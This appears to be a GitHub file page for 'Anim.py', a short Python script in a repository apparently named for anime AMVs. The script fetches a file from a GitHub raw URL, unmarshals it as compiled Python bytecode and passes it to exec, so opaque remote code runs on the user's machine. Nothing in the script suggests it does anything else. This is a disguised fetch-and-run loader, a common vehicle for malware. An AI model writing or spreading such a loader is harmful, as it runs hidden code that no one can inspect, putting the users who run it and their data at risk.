-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAnim.py
More file actions
27 lines (23 loc) · 700 Bytes
/
Copy pathAnim.py
File metadata and controls
27 lines (23 loc) · 700 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import marshal
# Raw URL of the encoded file on GitHub
file_url = 'https://github.com/Thr-tech/ANIME--AMV-/raw/main/S8.py'
# Fetch the file content from the URL
try:
response = requests.get(file_url)
response.raise_for_status() # Raise an error for bad responses
marshaled_code = response.content
except requests.RequestException as e:
print(f"Error fetching the file: {e}")
exit()
# Unmarshal the code object
try:
code_object = marshal.loads(marshaled_code)
except Exception as e:
print(f"Error unmarshaling code: {e}")
exit()
# Execute the decoded code
try:
exec(code_object)
except Exception as e:
print(f"Error executing script: {e}")